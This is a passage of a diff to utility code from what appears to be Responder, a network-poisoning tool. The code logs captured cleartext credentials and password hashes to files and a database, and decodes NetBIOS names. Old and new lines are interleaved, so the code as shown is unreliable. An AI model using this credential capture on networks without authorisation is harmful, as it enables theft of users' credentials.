if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
elif re.search(re.escape("$"), user):
return False
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
outf2.write(data + '\n')
def SaveToDb(result):
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
@ -169,32 +147,23 @@ def SaveToDb(result):
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile)
# We add a text factory to support different charsets
cursor.text_factory = sqlite3.Binary
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
(count,) = res.fetchone()
if count == 0:
# If we obtained cleartext credentials, write them to file
# Otherwise, write JtR-style hash string to file
if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']):
outf.write('%s:%s' % (result['user'], result['cleartext']))
else:
outf.write(result['fullhash'])
outf.write("\n")
outf.close()
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'], result['cleartext']))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')
# Update database
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
cursor.close()
# Print output
if count == 0 or settings.Config.Verbose:
if not count or settings.Config.Verbose: # Print output
if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
if len(result['hostname']):
@ -213,30 +182,22 @@ def SaveToDb(result):
# Appending auto-ignore list if required
# Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
else:
print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user']
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
return False
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
@ -248,12 +209,12 @@ def Decode_Name(nbname):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except:
return "Illegal NetBIOS name"
def NBT_NS_Role(data):
Role = {
return {
"\x41\x41\x00":"Workstation/Redirector",
"\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain Controller",
@ -261,12 +222,10 @@ def NBT_NS_Role(data):
"\x42\x4f\x00":"Browser Election",
"\x43\x41\x00":"File Server",
"\x41\x42\x00":"Browser",
}
}.get(data, 'Service not known')
return Role[data] if data in Role else "Service not known"
def banner():
banner = "\n".join([
' __',
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
@ -282,6 +241,7 @@ def banner():
print " To kill this script hit CRTL-C"
print ""
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
@ -331,21 +291,16 @@ def StartupMessage():
if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
if len(settings.Config.RespondToName):
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
if len(settings.Config.DontRespondTo):
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
if len(settings.Config.DontRespondToName):
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
print "\n\n"
print ""
print ""
# Useful for debugging
def hexdump(src, l=0x16):
@ -383,7 +338,3 @@ def hexdump(src, l=0x16):
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
return '\n'.join(res)
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length